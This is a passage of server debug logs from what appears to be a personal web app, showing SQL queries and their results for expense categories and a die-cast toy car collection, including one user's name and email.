    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:04:24.971Z server-connect:output restrict: undefined
2026-02-04T07:04:24.971Z server-connect:app Executing action step single
2026-02-04T07:04:24.971Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:04:24.972Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:04:24.974Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:04:24.975Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:04:24.976Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:04:24.977Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:04:24.977Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:24.978Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:04:24.978Z server-connect:app Executing action step identify
2026-02-04T07:04:24.978Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.978Z server-connect:output identity: 1
2026-02-04T07:04:24.978Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.978Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:24.978Z server-connect:app Executing action step identify
2026-02-04T07:04:24.978Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.978Z server-connect:output identity: 1
2026-02-04T07:04:24.978Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.978Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:24.978Z server-connect:app Executing action step identify
2026-02-04T07:04:24.979Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.979Z server-connect:output identity: 1
2026-02-04T07:04:24.979Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.979Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:24.979Z server-connect:output restrict: undefined
2026-02-04T07:04:24.979Z server-connect:app Executing action step select
2026-02-04T07:04:24.979Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:04:24.980Z server-connect:app Executing action step identify
2026-02-04T07:04:24.980Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.980Z server-connect:output identity: 1
2026-02-04T07:04:24.980Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.980Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:24.980Z server-connect:output restrict: undefined
2026-02-04T07:04:24.980Z server-connect:app Executing action step select
2026-02-04T07:04:24.980Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:04:24.980Z server-connect:output restrict: undefined
2026-02-04T07:04:24.980Z server-connect:app Executing action step select
2026-02-04T07:04:24.980Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:04:24.981Z server-connect:app Executing action step identify
2026-02-04T07:04:24.981Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.981Z server-connect:output identity: 1
2026-02-04T07:04:24.981Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.981Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:24.981Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:04:24.981Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:04:24.982Z server-connect:output restrict: undefined
2026-02-04T07:04:24.982Z server-connect:app Executing action step paged
2026-02-04T07:04:24.982Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:24.983Z server-connect:output restrict: undefined
2026-02-04T07:04:24.983Z server-connect:app Executing action step select
2026-02-04T07:04:24.983Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:04:24.983Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:04:24.983Z server-connect:app Executing action step select
2026-02-04T07:04:24.983Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:04:24.984Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:04:24.985Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:04:24.985Z server-connect:app Executing action step select
2026-02-04T07:04:24.985Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:04:24.986Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:04:24.987Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
